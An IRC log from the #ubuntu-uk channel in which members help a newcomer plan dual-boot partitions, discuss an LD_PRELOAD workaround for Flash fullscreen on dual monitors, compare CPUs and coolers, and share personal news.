<ali1234> these days, viruses are cross platform
<ssk_the_gr8> btw, how do i install windows boot manager?
<ali1234> typical botnet has components that run on linux or windows
<daubers> Evening
<zleap> not sure,  i gues it istalls when you install windows
<marxjohnson> I think you need a windows rescue disk
<marxjohnson> ive never done it though
<ssk_the_gr8> hmmm...
<marxjohnson> You dont need it if you remove Ubuntu though
<zleap> do you need a windows boot manager won't grub  load windows or does it just call the windows boot manager
<marxjohnson> you can just leave grub booting windows only
<jacobw> you need windows install disc, which contains a recovery routine
<jacobw> you'd need to keep the partition that grub was installed on though..
<brobostigon> or the mbr*
<ssk_the_gr8> last time i deleted the oartation and i couldn't acces windows either...
<zleap> ah
<ssk_the_gr8> so how do i install grub on a diff partation and ubuntu on a different one?
<jacobw> different /boot parition
<zleap> i guess when you partition the disk create a new small boot partition
<ssk_the_gr8> what size?
<marxjohnson> Only needs to be about 100MB
<ssk_the_gr8> and what do i do... to get grub to install in that 100 mb
<ssk_the_gr8> ?
<marxjohnson> just set it as /boot
<zleap> i got an email about 10 mins ago 19:39 with a time stamp of 18:39
<zleap> explains why i had to scroll back to find it
<marxjohnson> like you set the others as /, /home, and so forth
<ssk_the_gr8> now that is like gibberish to me
<marxjohnson> sorry
<ssk_the_gr8> marxjohnson: :D
<ssk_the_gr8> sorry
<marxjohnson> when you create a partition, you set its mount point
<marxjohnson> the main one is /, which is the root of the file system
<ssk_the_gr8> can i do it graphically using ubuntu?
<ssk_the_gr8> k
<marxjohnson> yeah
<marxjohnson> it's part of the installer
<brobostigon> onthe live cd*
<zleap> can you do that with the systemrescuecd ?
<marxjohnson> in fact, I think the recommended partitioning scheme will create a boot partition for you?
<marxjohnson> can anyone confirm that? it's been a while
<jacobw> no, it doesn't
<ssk_the_gr8> so ... what do i do?
<marxjohnson> no, OK so you have to use "advanced partitioning" which gives you the graphical partitioner
<zleap> it just resizes the main partition by default and creares a dual boot i think
<ssk_the_gr8> zleap: yeah i think so too
<zleap> `i was only installing earlier didn;t really tajke much notice just hit advanced
<marxjohnson> then you'd resize your Windows partition (defrag first), create a little boot partition, a ~40GB root partition and the rest as another parition
<marxjohnson> then you set the boot partition's mount point to /boot, the root partition's mount point to /, and the other partition's mount point to /home
<ssk_the_gr8> how do i set a mount point... sorry i'm new to all of this?
<marxjohnson> when you create the parition, it should have an option for you to enter the mount point
<zleap> you do it as part of the advanced options,
<jacobw> the advanced paritioning tool lets you create new paritions and resize existing paritions
<ssk_the_gr8> k
<jacobw> and set mount points for the new paritions you've created
<zleap> ssk_the_gr8, where are you based maybe there is a local user group that can help
<ali1234> MartijnVdS: http://timetobleed.com/extending-ltrace-to-make-your-rubypythonperlphp-apps-faster/
<ssk_the_gr8> i cant shrink my windows partation beyond 150 gb... :(
<zleap> how big is the whole hdd
<ssk_the_gr8> 320gb
<ssk_the_gr8> using the windows disk manager
<jacobw> plenty of space, windows balloons over time
<zleap> yeah my dads laptop updates daily
<ssk_the_gr8> so 150 for windows
<ssk_the_gr8> and rest for ubuntu
<ssk_the_gr8> k?
<marxjohnson> yep
<ssk_the_gr8> with the remaining 120 gb
<ssk_the_gr8> 40 as root partation
<ssk_the_gr8> a small 100 mb boot
<ssk_the_gr8> and remaining 80 as another partation
<ssk_the_gr8> am i correct?
<jacobw> remaining 120gb?
<zleap> what about swap
<marxjohnson> actually, my /boot is 200MB, just to be safe, but I use less than half of it
<marxjohnson> swap! i forgot that
<MartijnVdS> ali1234: interesting
<ali1234> in fact, i don't even need that stuff
<ssk_the_gr8> 4gb ram.. so swap should be.. 8 gb?
<jacobw> you need a /boot /home swap and / parition
<zleap> think so
<marxjohnson> no, 2GB
<ssk_the_gr8> k
<ali1234> because i don't want to trace calls into flashplugin.so, but calls made *by* it, which are compile time linked
<marxjohnson> "double the RAM" is only useful up to a certain point
<zleap> i still read from the old rule book swap - 2x ram size
<ali1234> but hopefully that will get me past the dlopen call and into the so where ltrace will work as normal
<marxjohnson> if you've got 4GB+ of RAM and are using over 2GB of swap, you've got bigger problems :p
<zleap> marxjohnson, is there any harm in it being double the ram size
<marxjohnson> dont think so
<zleap> ok
<ali1234> zleap: there can be if you get a runaway program
<ssk_the_gr8> so ... what should the swap size be?
<ssk_the_gr8> guys....?
<zleap> ok
<marxjohnson> go for 2GB
<ali1234> if you have 16GB of swap and some program tries to allocate it it will lock up the machine for like 30 minutes
<ali1234> without all the swap it would just crash
<zleap> ah
<ssk_the_gr8> is 2gb final .... :D
<ssk_the_gr8> zleap: ?
<ssk_the_gr8> ali1234: ?
<zleap> go for that,  as i said i was reading from an old rule book
<ali1234> i have 4GB ram and 32GB swap
<ali1234> but i do crazy stuff all day
<ssk_the_gr8> 40 root partation,... is where i install ubuntu right?
<zleap>  i foiund the only time my system used swap was dvd playback
<zleap> but both my systems have 1gb ram
<ali1234> i hit swap every day
<ali1234> minecraft will happily eat 2GB of ram on it's own
<ali1234> as will firefox
<marxjohnson> ssk_the_gr8: dont worry about where you "install ubuntu", you're installing it on all the paritions
<ssk_the_gr8> lol.. i'm confused now
<marxjohnson> ok, I'll try and explain
<marxjohnson> The root of the filesystem is /. You can have the whole filesystem on a single partition, or many partitions, but you need a "root partition" mounted on /. You can then create additional partitions mounted at different points (such as /home /boot /var) to better manage space or use different filesystems, like we're doing here. If you just use one parition, these folders still exist, but they'll all be on the root partition
<marxjohnson> So you're installing ubuntu on the filesystem, which may be one or more paritions
<jacobw> http://tldp.org/HOWTO/Partition/
<zleap> hi oly
<ssk_the_gr8> k. i kinda get it
<zleap> jacobw, would the ubuntu-manual link help
<ssk_the_gr8> so 100 mb boot, 2 gb swap, 40 gb root,  remaining is home right?
<marxjohnson> yep
<jacobw> i've already looked, it doesn't seem to have much to say on the issue of paritioning
<zleap> ok
<jacobw> sounds good ssk_the_gr8
<zleap> well it may be useful anyway generally for use http://ubuntu-manual.org/
<ssk_the_gr8> k... i'm putting ubuntu on download
<zleap> ok
<ssk_the_gr8> let's see...
<ssk_the_gr8> it'll finish in like an hour
<jacobw> that isn't what i was looking at.. i was looking at the 'offical documentation'
<zleap> ok
<ssk_the_gr8> then i 'll do as we've decided......
<marxjohnson> cool, best of british to you!
<ssk_the_gr8> and come back to this channel when i'm finished :D
<marxjohnson> oh, I assume you've backed up all your data?
<ssk_the_gr8> i hope i don't lose all my data and windows partation
<jacobw> hope to see you soon :)
<ssk_the_gr8> yeah i have .. the important stuff.. but not all
<marxjohnson> dont even think about partitioning for the first time without a good backup
<oly> hi :)
<marxjohnson> I did, and regretted it
<jacobw> real men don't use backups, they sync all their files with ubuntu one :p
<zleap> marxjohnson, i did that once  created 10mb for slackware on a 250mb disk,  ended up formatting the windows 3.1 bit
<zleap> this was 15 years ago, or there abouts
<marxjohnson> I manage to toast my parent's windows partition trying to install my first distro (gentoo, dont ask why)
<jacobw> ha, gentoo :(
<zleap> i was thinking gentoo and beginners does not really go together
<marxjohnson> No, no it doesnt
<Jibadeeha> i remember being fanatical about LFS ... all those hours of my life wasted
<marxjohnson> they dont*
<zleap> i started with slackware
<ssk_the_gr8> thanx for the help guys.
<ssk_the_gr8> bye
<marxjohnson> np
<zleap> ssk_the_gr8, np
<jacobw> think of all those processors running at 100%, hug a tree, use debian :)
<Jibadeeha> i remember my first Linux distro was slackware, bought it with a book .. was so exciting back then
<jacobw> i personally can't see the point of source based distros
<zleap> my first one came with a magazine had to rawrite stuff to floppy to make the disks to install
<zleap> came on cd but rawrite just copied stuff to floppy,
<Jibadeeha> jacobw, i can't now, but at the time i was so smug about it
<jacobw> i think debian was my first distro :s
<Jibadeeha> zleap, lol i remember rawrite stuff now you mention it
 * jacobw <3 debian
<zleap> great till you run out of floppies and need to format em, in dos and create a new set
<zleap> b1, b2, b3, for base,  x1 etc for xwindows
<DJones> zleap: Jibadeeha I'm the same, I started with slackware which was a great learning experience
<zleap> i want to have a go at LFS,  but as part of a lug meet on a decent specf system
<marxjohnson> I considered doing LFS in a VM once, but could never be bothered
<Jibadeeha> DJones, yeah i don't regret one bit of it .. i remember being desperate to get X up and running but it wouldn't work properly with my cirrus logic video card lol
<jacobw> i just see these things as reinventing the wheel
<marxjohnson> I wouldn't do LFS to actually use, just to learn from
<zleap> it took ages before i had someting that actually supported cd rom drives
<Jibadeeha> zleap, LFS is a great learning experience but you'll need a lot of time on your hands
<zleap> yeah i know
<zleap> but it would be a fun project
<zleap> what wouod be good to make a internet kiosk
<zleap> as in boot up to x and a browser
<ali1234> meego
<zleap> ok
<zleap> is that a distribution
<ali1234> yes
<marxjohnson> zleap: http://kiosk.mozdev.org/ appears to have some good info
 * popey tickles marxjohnson 
<zleap> cool, helping to set up an internet cafe type thing, so need a few computers as internet terminals mostly have about 256 mb ram
<marxjohnson> we discussed this popey, not in public
<popey> :)
<popey> Only on tuesdays
<marxjohnson> quite
<bigcalm> popey: I'm about to order: http://pckeyboards.stores.yahoo.net/en104bl.html
<MartijnVdS> bigcalm: *CLICK* *CLICK*
<bigcalm> :D
 * marxjohnson loves his clicky keyboard
<ali1234> mozilla kiosk mode sucks
<ali1234> what you need is a QML UX with webkit
 * MartijnVdS has a Dell SK-3502 -- with smart card reader
<ali1234> or just use the existing netbook UX
<ali1234> doesn't have good touchscreen support though
<zleap> just want a browser really
<ali1234> well yeah that's pretty much all you get on meego
<zleap> ok looking at meego now
<ali1234> browser, media player, social networks
<ali1234> "app store" coming soon
<zleap> cool
<marxjohnson> or ChromiumOS?
<zleap> looking at pessulus in the synaptic list to lock down gnome
<zleap> may also be useful for other computers
<jacobw> kde did a lot of work on kiosk modes a while back
<marxjohnson> Hmm not sure ChromiumOS is actually available now that I look, other than source
<Myrtti> hohum
<ali1234> zleap: http://www.youtube.com/watch?v=5I9yBigBW6c
 * MartijnVdS loves the new "screen off" animation on his Nexus One
<zleap> i take it it supports flash etc
<DJones> Evening Myrtti, hope your day has gone better than it started, you didn't sound happy this morning
<ali1234> i'm running that on my ideapad (thanks intel and nokia) right now
<zleap>  cool
<zleap> well these will be normal pc desktop
<ali1234> it needs SSSE4, so core 2 or better
<ali1234> and it needs accelerated graphics other than nvidia
<zleap> k
<Myrtti> DJones: in theory the situation can only get better, but since *I* still have my health left, I suppose things could be worse too.
<zleap> hmm
<zleap> in thwt
<zleap> that casse
<ali1234> basically it needs intel hardware
<bigcalm> Oh my good god
<jacobw> brb
<zleap> it may end up beibng nornal ubuntu + lockdown
<bigcalm> Shipping on the keyboard is $49.50
<Myrtti> anyway...
<ali1234> i told you i will sell you a model m :)
<ali1234> for just half what those guys want :)
<bigcalm> Pendulum: would you like to send me a package? ;)
<DJones> Myrtti: As long as you've got your health, things can only get better, just hope that whatever is bothering you will be eased over time
<Pendulum> bigcalm: is it legal?
<bigcalm> Pendulum: it's a keyboard
<zleap> matchbox may work well
 * Pendulum hugs Myrtti 
<Pendulum> bigcalm: I can do that
<bigcalm> Pendulum: http://store.yahoo.com/pckeyboards/en104bl.html
<bigcalm> Yay :)
<bigcalm> If it works out sensible to do so that is
<Myrtti> well, my mother has been diagnosed with cancer that can only be stopped, not healed, with metastases elsewhere. We had the first doctors appointment today and it's been a long, long day, and a long long time waiting for today.
<MartijnVdS> Myrtti: :(
<Myrtti> and it's going to be a long long time, and I don't think it's going to ease, just turn into something else.
<Myrtti> but - c'est la vie
<Myrtti> we all have to go sometime
<DJones> Myrtti: Sorry to hear that, I wish there was something I could say or do that would help, but my thoughts will be with you
<MartijnVdS> Myrtti: knowing that doesn't make it easier on anyone though :|
<Myrtti> but yeah, minecraft is great, it's kept me sane the past 8 weeks
<DJones> :)
<cbx33> on a budget of about Â£500, what laptop would someone recommend that works well with ubuntu
<cbx33> ideally a smaller screen like 13inch
<cbx33> or even 11
<Pendulum> Myrtti: it's always the little things that are the most useful. *hugs* I'm around if you ever need anyone to talk to
<MartijnVdS> cbx33: anything with intel chips
<cbx33> the i3?
<cbx33> i have an ibm x41 at the moment and I loooove it!
<ali1234> cbx33: pinetrail
<cbx33> but it's just tooo slow now
 * DJones wonders why he's in pain and then realises he's 3 hours overdue for painkillers & anti-inflam's
<Pendulum> DJones: thank you for saying that. reminded me that I ignored my alarm 90 minutes ago to remind me of same
<DJones> Ah well, codiene, paracetamol, diclafenic & black sheep ale will solve that
<Pendulum> heh
<DJones> Pendulum: Ah well, there's a good reason for saying it
<DJones> Pendulum: ok, 90 minutes, no more IRC until you've taken medication
<Pendulum> just took it
<Pendulum> marinol and hydrocodone w/ paracetamol for me :)
<DJones> Hadn't heard of marinol, but having googled, I can guess the benefits
<Pendulum> it's only available in the US
<Pendulum> if I were in the UK, I'd probably be fighting to get them to give me Sativex instead
<Pendulum> really, I'd rather move to Amsterdam or California where I can get better pain relief as needed ;-)
<DJones> Heh
<Pendulum> wanna know what's worse? I didn't ask, my doctor suggested
<DJones> I hate taking medication, but needs must when necessary
<czajkowski> daubers: you were in reading today
<czajkowski> :(
<czajkowski> missed you by 6 mins
<Pendulum> DJones: I've switched to thinking of medication as a tool rather than a necessary evil. It's what keeps me coherent :)
<DJones> Pendulum: Thats very true
<cbx33> http://www.youtube.com/watch?v=NCbKP-zyb0M - my first arduino playtime :)
<Azelphur> I'mma try the bitcoin thing, it looks interesting :D
<cbx33> oh btw - if anyone likes/uses git here
<cbx33> https://github.com/cbx33/gitt
<Azelphur> wow, you can actually direct convert bitcoin to USB, awesome :D
<cbx33> I'm writing a new git book :)
<Azelphur> cbx33: cool :D
<cbx33> writing it in LaTeX - but don't let that put anyone off - really easy to read it in it's current format
<cbx33> and I'm new to LaTeX too
<cbx33> oh darn I need a README
<zleap> does pidgn support webcams
<ali1234> yes
<zleap> cool cos i can't get amsn to work properly well something to do with protocol changes
<ali1234> cbx33: i wrote a git guide: http://htc-linux.org/wiki/index.php?title=AdvancedGitGuide
<ali1234> it's based on how i like to use git for kernel hacking
 * bigcalm pokes mc.net and sighs :(
<cbx33> sweet
<cbx33> looks good ali1234
<ali1234> feel free to use anything from it
<zleap> ok installing pidgin now
<ali1234> cbx33: can't say it's "right" but it works for me, and i got patches accepted in the kernel using the described methods :)
<cbx33> sweet
<cbx33> I may very well take some notes from there
<ali1234> also highly recommend the video with greg kh if you're at all interested in kernel development
<zleap> what is the difference btween msn and windows live
<ali1234> zleap: nothing
<ali1234> just rebranding
<zleap> ok so it should work with both
<DJones> zleap: not a thing
<ali1234> if they changed the protocol all the clients will break
<ali1234> for a time
<zleap> OK
<ali1234> pidgin usually updates quite quickly
<MartijnVdS> \o/ xmpp
<Baikonur> what newspaper do old money read
<ali1234> i don't know, what newspaper do old money read?
 * brobostigon reads private eye.
<Baikonur> no, it was a genuine question and not a joke or anything :)
<ali1234> assuming that wasn't the set up for a joke, i would say the times
<brobostigon> iread private eye an the independent.
<Baikonur> is private eye the one that Ian Hislop is the editor of
<ali1234> yes
<brobostigon> :)
<Baikonur> mm, the times is a news corporation paper
<ali1234> hmm yeah i think it got sold to them recently and lost of lot of reputation because of it
<ali1234> or like 30 years ago lol
<Baikonur> recently being 1980
<Baikonur> 81, rather
<ali1234> still that's relatively recent considering it's over 200 years old
<Baikonur> the independet didn't even exist yet, in 1981
<Baikonur> *independent
<Baikonur> it was sold last year to two russian brothers
<Baikonur> the paid Â£1 for it
<Baikonur> they
<brobostigon> do facebook notifications in android require background data tobe turned on?
<daubers> czajkowski: No I wasn't....
<ali1234> hmm why doesn't LD_PRELOAD work with 32 bit exes and libs on 64 bit?
<czajkowski> daubers: ahh ok latitude showed you were
<daubers> czajkowski: Ah.... I live in Reading...so it was probably showing me at home/onthe way home
<ging> how come everyone else in here seems to have each other on latitude?
 * daubers ponders how often popeyes minecraft server regenerates the map
<bigcalm> daubers: see the topic in the channel
 * bigcalm slithers off to spend time with his other half
<czajkowski> daubers: :(
<ali1234> ok got it. so...... flashplugin doesn't use XDisplayWidth()
<Azelphur> sigh, I really need to get off the intel stock cooler
<Azelphur> if I do anything cpu intensive I can go up to 94C
<Cepheus> i generally need a new cooling system
<Azelphur> yea, I wanna switch to water
<Cepheus> one 80mm fan + a GTX 460 means things can get hot
<Cepheus> should probably get a bigger case and some larger fans
<ali1234> does not use XWidthOfScreen either
<gord> starting to think about writing a colour filter for mplayer or xbmc or something that reverses the orange-teal of modern movies..
 * daubers goes to bed
<gord> trying to watch iron man 2 and the orange-teal is making everyone look like carrot people
<cbx33> anyone play with jquery here?
<ali1234> heh, it uses XGetWindowAttributes
<ali1234> ... but not to determine the fullscreen window size
<Cepheus> ali1234: perhaps it uses NETWM's _NET_DESKTOP_GEOMETRY?
<ali1234> how do i get that?
<brobostigon> good night everyone, sleep well.
<ali1234> Cepheus: is that libxt?
<ali1234> it might be using XGetWindowProperty......
<ali1234> how many different ways can there be to get the screen size :/
<KLight2003> Evening all
<Cepheus> ali1234: it's EWMH
<ali1234> well it definitely uses XGetWindowProperty
<Cepheus> ali1234: Just a suggestion anyway. And it looks like it doesn't.
<ali1234> ok, when i toggle fullscreen it calls XGetWindowProperty
<ali1234> every time. so this looks promising
<ali1234> so i guess now i just need to detect when it asks for width or height property
<Cepheus> watcha hackinh up?
<ali1234> flash player
<ali1234> my guess is it asks for the geometry of the root window instead of the geometry of the "fullscreen" window it has been given (which is not actually fullscreen if you are running twinview)
<ali1234> when you go fullscreen it calls XGetWIndowProperly twice every time
<Azelphur> Anyone know a utility that's compatible with pulseaudio and can capture from 2 microphones at the same time?
<Azelphur> maybe popey since you do podcasts
<ali1234> Azelphur: that's the same problem as recording mic and desktop sounds at the same time
<Azelphur> yea, I just solved it
<Azelphur> :D
<ali1234> and the way you do that is record from the monitor source on the output sink
<Azelphur> indeed, and the mic one at the same time
<Azelphur> I found a screencasting tool that can do it
<ali1234> Azelphur: btw, do you have this youtube fullscreen problem?
<Azelphur> ali1234: the one where it half spans dual screen?
<ali1234> yeah
<Azelphur> yea, I do
<ali1234> i think i nearly have a workaround for it
<Azelphur> nice :D
<ali1234> hmm that's new... fullscreen mode is no longer fullscreen
<ali1234> ah i see, it goes to fullscreen size of whatever monitor it was running on when you clicked fullscreen... but always on the primary
<ali1234> so if second monitor is smaller, the fullscreen window won't fill the primary
#ubuntu-uk 2011-02-26
<hamitron> Windows problems?
<ali1234> X windows
<hamitron> ah :)
<ali1234> it's not getting the screen size from XGetWIndowProperty
<ali1234> maybe it's using xrandr
<hamitron> my only problems atm are with hardware and MS Windows :/
<hamitron> 10.04 is the first release I have had zero issues, apart from old hardware support
<hamitron> life is boring \o/
<hamitron> is it 10.10 or 11.04 with the Xwindows issue?
<ali1234> any
<hamitron> oh
<ali1234> see, i have this question
<ali1234> "how many different ways can a X11 app determine the screen resolution?"
<ali1234> so far i have found three ways
<ali1234> and there is at least 1 more i have yet to discover
<hamitron> :/
<hamitron> wish i could help
<hamitron> but really not in the know for that kinda thing
<ali1234> XRRConfigCurrentConfiguration looks like a candidate
<Azelphur> I just followed a cooking recipe that came from 4chan, I may well be partially insane
<Azelphur> I did it on live webcast too :D
<Azelphur> but I can officially announce that http://loled.net/wp-content/main/2011_02/1296576576826.jpg works and is awesome, and I'm eating it right now
<hamitron> they look very light
<hamitron> in colour I mean
<Azelphur> came out a little darker for me, and it's good
<hamitron> I may try
<hamitron> :)
<hamitron> easy way to whip something up that
<hamitron> mug and microwave
<Azelphur> http://dl.dropbox.com/u/3832397/Photos/February%202011/IMG_20110226_003102.jpg
<Azelphur> \o/
<HazRPG> I read that as hug microwave *blinks*
<ali1234> oh look: there is a ridiculously long winded way to get the screen size from xrandr: http://www.blitzbasic.com/Community/posts.php?topic=86911
<ali1234> time to patch some more functions then
<Azelphur> hamitron: if your interested, my friend is apparently about to try it http://www.ustream.tv/channel/mugcookoff
<hamitron> now just need a ubuntu mug for ubuntu cookies
<hamitron> :/
<Azelphur> (00:39:14) Azelphur: hamitron: if your interested, my friend is apparently about to try it http://www.ustream.tv/channel/mugcookoff
<hamitron> dunno if to blame windows or the internet for that
<hamitron> I can follow instructions fine ty :)
<Azelphur> hamitron: pretty sure it was the internet, I'm having connection problems too and a load of people timed out and rejoined at hte same itme
<hamitron> will check the ingredients look right though
<hamitron> ah, cool
<Azelphur> haha
<hamitron> means my tcp/ip isn't gonna break
<hamitron> \o/
<Azelphur> just interesting that a 4chan recipe doesn't explode in your face or something \o/
<hamitron> seems to do that a lot now
<Azelphur> hamitron: did you see the westboro church interview?
<Azelphur> that was hilarious, re 4chan/Anonymous :p
<hamitron> no
<hamitron> tbh, all I ahve done is price up comp bits and play minecraft lately
<Azelphur> hamitron: http://www.youtube.com/watch?v=OZJwSjor4hM watch it, it's hilarious
<Azelphur> hehe
<JamesTait> So I'm not the only one getting disconnected then.
<HazRPG> argh! creepy!
<HazRPG> Rathole Radio use the same theme as me on their wordpress! >_<
<HazRPG> I was not expecting that
<ali1234> this hack i;m making might actually be applicable to other misbehaving fullscreen apps
<Azelphur> ali1234: interesting
<hamitron> I sorta decided to get an i3 cpu, but don't wanna regret not getting quad core
<hamitron> oh ffs
<hamitron> I blocked youtube
<hamitron> \o/
<ali1234> it doesn't use xrandr... must be yet another way
<Azelphur> hamitron: \o/
<Azelphur> hamitron: watching the video? :D
<hamitron> it is loading
<hamitron> ;/
<hamitron> 45% done
<Azelphur> :p
<hamitron> Azelphur: I assume you have quad core
<hamitron> do you use them all?
<Azelphur> hamitron: technically quad, but I have hyperthreading so sorta 8
<Azelphur> hamitron: I'd like to, but the intel stock cooler just cannot take it
<hamitron> I read disabling ht speeds up gaming 10% on average
<Azelphur> I need to get better cooling, I've had my CPU at >90C more than 3 times in the past 2 days
<hamitron> wtf?
<Azelphur> yea
<Azelphur> I spoke to a lady at intel and apparently this is close to normal
<hamitron> isn't the TDP only 135W?
<hamitron> or 130W
<Azelphur> yea it's 130
<hamitron> what termal paste you using?
<hamitron> :/
<hamitron> thermal*
<Azelphur> Antec formula 5
<Azelphur> hamitron: I spoke to a lady at intel and she said it's supposed to run at 67 on average
<Azelphur> and 85 when it's under heavy load
<hamitron> amazing
<Azelphur> so 94 when running 13 DVD encodes at the same time sorta seems to fit with it
<hamitron> :)
<Azelphur> so yea, the intel stock cooler is shit, that was my prognosis
<hamitron> I choose intel stock coolers
<hamitron> haha
<Azelphur> I'm gonna go water cooling
<Azelphur> get it right down and see if I can't overclock a bit
<Azelphur> and then get me some bitcoins
<hamitron> I can't remember the TDP of the PentiumD 3.4ghz 945
<hamitron> but it maxes out at 42 C
<HazRPG> > 9000 sins xD
<Azelphur> HazRPG: :D
<Azelphur> I keep a tally.
<HazRPG> hehe
<hamitron> 95W
<Azelphur> I got DoS'd by a security company a week ago, havn't had any replies to emails for motivation
<hamitron> problem is, I really want to go intel for the HD graphics
<Azelphur> Starting to think it's time to go public with information on it :p
<hamitron> :/
<hamitron> but the H6x chipset is not exactly something I want to rush into
<Azelphur> hehe
<HazRPG> xD "we just did it right now..."
<Azelphur> HazRPG: :D
<hamitron> :D
<HazRPG> gotta love anon :P
<Azelphur> but yea, I sent an email to their support and administrative contact on DNS whois
<Azelphur> and got no reply
<Azelphur> probably gonna phone them tomorrow, if I don't get anywhere I'll just post publicly about it
<hamitron> :/
<HazRPG> Azelphur: am I missing something?
<Azelphur> HazRPG: (01:02:55) Azelphur: I got DoS'd by a security company a week ago, havn't had any replies to emails for motivation
<HazRPG> ah
<Cepheus> my CPU gets to 93C under 100% stress
<Cepheus> that's how poor my airflow is
<Azelphur> Cepheus: what CPU?
<Cepheus> Azelphur: Bombshell time
<Cepheus> e8400
<hamitron> lucky git :/
<Cepheus> one of the 45nm C2Ds
<Cepheus> it's only got a TDP of about 65W
<Azelphur> hehe, that's way too hot for a c2d
<hamitron> i'm tempted with one
<hamitron> :)
<hamitron> you find it ok?
<HazRPG> Azelphur: wow 13 DVD encodes at the same time O.o
<Azelphur> :D
<HazRPG> why would one need to encode that many at once o.O
<Cepheus> it's fast, but you could probably get better for the same price now
<Azelphur> one of my friends going in to hospital for an operation and wants some stuff to watch
<hamitron> I think it is one of them, or an i3
<Cepheus> but, of course, i5 or i3 parts may be less economical than core 2 parts in other regards
<hamitron> 3ghz c2d vs 3.2ghz i3
<hamitron> cost about the same
<hamitron> but the i3 system has usb3 as a bonus
<hamitron> :)
<Cepheus> http://www.anandtech.com/bench/Product/56?vs=118
<Cepheus> the i3 seems generally faster across the board
<hamitron> the E6700 is also tempting
<hamitron> 60 quid cheaper
<hamitron> 3.2ghz
<hamitron> :)
<hamitron> and I don't overclock anyway
<HazRPG> Azelphur: ah
<HazRPG> Azelphur: hope they get better soon
<HazRPG> I'm liking my i7-930 :)
<Azelphur> huh?
<HazRPG> considering it was free cos my previous motherboard was still under warranty :)
<HazRPG> Azelphur: your friend
<Azelphur> oh :)
<Cepheus> my friend bought the top range 45nm i5
<Cepheus> and about a fortnight later sandy bridge was releaseed
<Azelphur> same only with an i7, Cepheus :D
<HazRPG> Cepheus: does it use FCLGA1366 socket?
<HazRPG> Azelphur: ooo, you have an i7 too?
<Azelphur> yup
<HazRPG> :)
<HazRPG> which one?
<HazRPG> Cepheus: I meant your friend's i5, does it use the FCLGA1366 socket?
<HazRPG> or LGA1366 as websites seem to put it
<Cepheus> HazRPG: nope, LGA1156
<HazRPG> Cepheus: see personally I feel the LGA1156 will die out quicker
<Cepheus> HazRPG: I think both will carry on fine
<HazRPG> where does intel make the socket numbers from, is it from the pin count?
<JamesTait> Hey, just a quick one before I go to bed. Can anyone get to https://webmail.wyrddreams.org/ ?
<Cepheus> i get a apache dir listing
<Cepheus> but
<Cepheus> works
<JamesTait> That's fine, thanks.
<JamesTait> I'm getting SSL errors, that's all. :(
<HazRPG> JamesTait: erm yeah, but chrome says the cert is untrusted
<JamesTait> Yeah, it's signed by my own CA.
<HazRPG> I'm guessing its self-signed... lol yeah
<Cepheus> fine on chromium and firefox here
<JamesTait> I'm getting Error code: ssl_error_rx_record_too_long from both Firefox and Epiphany, and even Thunderbird is giving me errors.
<JamesTait> Never mind, I'll look at it tomorrow. Thanks folks.
<hamitron> Cepheus: thanks for the cpu link
<JamesTait> Night all.
<HazRPG> seems impossible that 731 million transistors exist in my i7 o.O
<Cepheus> HazRPG: no problem
<hamitron> I've decided I am getting the i3
<Cepheus> HazRPG: I was even more surpsied about my GPU
<hamitron> :)
<hamitron> 1st gen
<HazRPG> JamesTait: possibly an internal cache issue
<Cepheus> 2bn transistors..
<JamesTait> Actually looks like an IPv6 issue. :-/
<HazRPG> JamesTait: a restart should clear it :)
<Cepheus> and it's a mid-range card
<Cepheus> well, on the whole spectrum of gpus
<HazRPG> Cepheus: yeah everyone always seems to forget that GPU's are more advanced that CPU's
<JamesTait> Never mind. I really am going to be now. :)
<HazRPG> Cepheus: but wow, 2billion!?
<Cepheus> HazRPG: they have a *lot* of cores. 3D drawing is easy to multithread
<HazRPG> JamesTait: later \o
<HazRPG> Cepheus: exactly, its always shocking that no ones ever tried to get an O/S to run straight from GPU
<hamitron> or at least with native use of gpu
<Cepheus> HazRPG: Ah. OSes don't multithread well. And there's no standard instruction set for GPUs
<hamitron> the OS doesn't really use that many resources tbh...
<Cepheus> yeah.
<HazRPG> hamitron: yeah, but surely it still manages the resources for applications that run inside it
<HazRPG> hamitron: or at least that's how I've always believed it to be
<hamitron> can't applications now use the gpu?
<HazRPG> hmm... I wonder if its possible to code an application to run in purely with GPU computations
<hamitron> HazRPG: faster to use both the cpu and gpu ;)
<HazRPG> hamitron: I think so, but not unless its coded to directly interact with it
<HazRPG> hamitron: CPU's run slower than GPU's though
<Cepheus> CPUs are still good at throwing things around
<hamitron> sure, but if you use both fully...
<Cepheus> use the CPU to manage GPU tasks!
<HazRPG> I recall research being done to code folding algorithms to run from GPU since it would calculate the simulations faster
<hamitron> better for floating point calcs
<HazRPG> hamitron: yeah
<HazRPG> personally I want a quantum CPU ;)
<hamitron> I just want an i3 :/
<hamitron> not greedy ;)
<hamitron> but I got a poor mans intel c2d e4500 here
<HazRPG> wow, tinycorelinux is tiny!
<ali1234> guy, i did it
<ali1234> i fixed youtube
<ali1234> and that other video you linked HazRPG
<HazRPG> ali1234: :o!
<HazRPG> wicked! :D
<HazRPG> I thought you would have given up on that
<HazRPG> (although if your like me, when presented with a problem - a solution must be found, at some point!)
<ali1234> i would just like to state for the record that flash plugin suuuuuuuuuuuuuuuuucks
<HazRPG> ali1234: ... we all knew that :P
<HazRPG> ali1234: btw, well done on the fix :D
 * HazRPG has an urge to throw money at you
<ali1234> well i hope you can throw far because i don't have paypal
<HazRPG> >_<
<HazRPG> ali1234: how come?
<ali1234> cancelled account in protest of the wikileaks thing
<ali1234> and also because they are generally evil
<HazRPG> ah
<HazRPG> ali1234: tell ya what, pick a book and I'll get one shipped out to ya :)
<HazRPG> also... were you doing it using nstream... thing
<HazRPG> nspluginwrapper eve
<HazRPG> even*
<ali1234> nspluginwrapper, yeah, but it's not required, the hack will work even if oyu don't use it
<ali1234> it patches the X libraries so that they lie when flash asks the wrong question
<HazRPG> LD_PRELOAD?
<ali1234> yeah
<HazRPG> winner :P
<HazRPG> was looking at the stuff for that earlier, was interesting
<HazRPG> however, I think I'll need to pick a simple project to learn the ins and outs of it
<HazRPG> maybe even just write a "hello world" app, and then make a "destroy world" function so that it prints that instead just to get my head around it
 * HazRPG adds to his personal to-do list
<HazRPG> ali1234: so was it the implementation that youtube uses that causes it? Or was it shoddy coding of the sites?
<HazRPG> s/youtube/flash
<ali1234> it's a problem of flash plugin which youtube hasn't worked around
<HazRPG> you'd think youtube, being part of google, would have done a work around for it though - considering many other sites do
<ali1234> yeah, you'd think
<ali1234> i think it's a combination of bad coding everywhere and proprietary developers not talking to each other
<HazRPG> yeah totally
<HazRPG> people create standards for a reason...
<HazRPG> ali1234: right all caught up (was reading your earlier comments)
<HazRPG> seems I missed a fair few of them
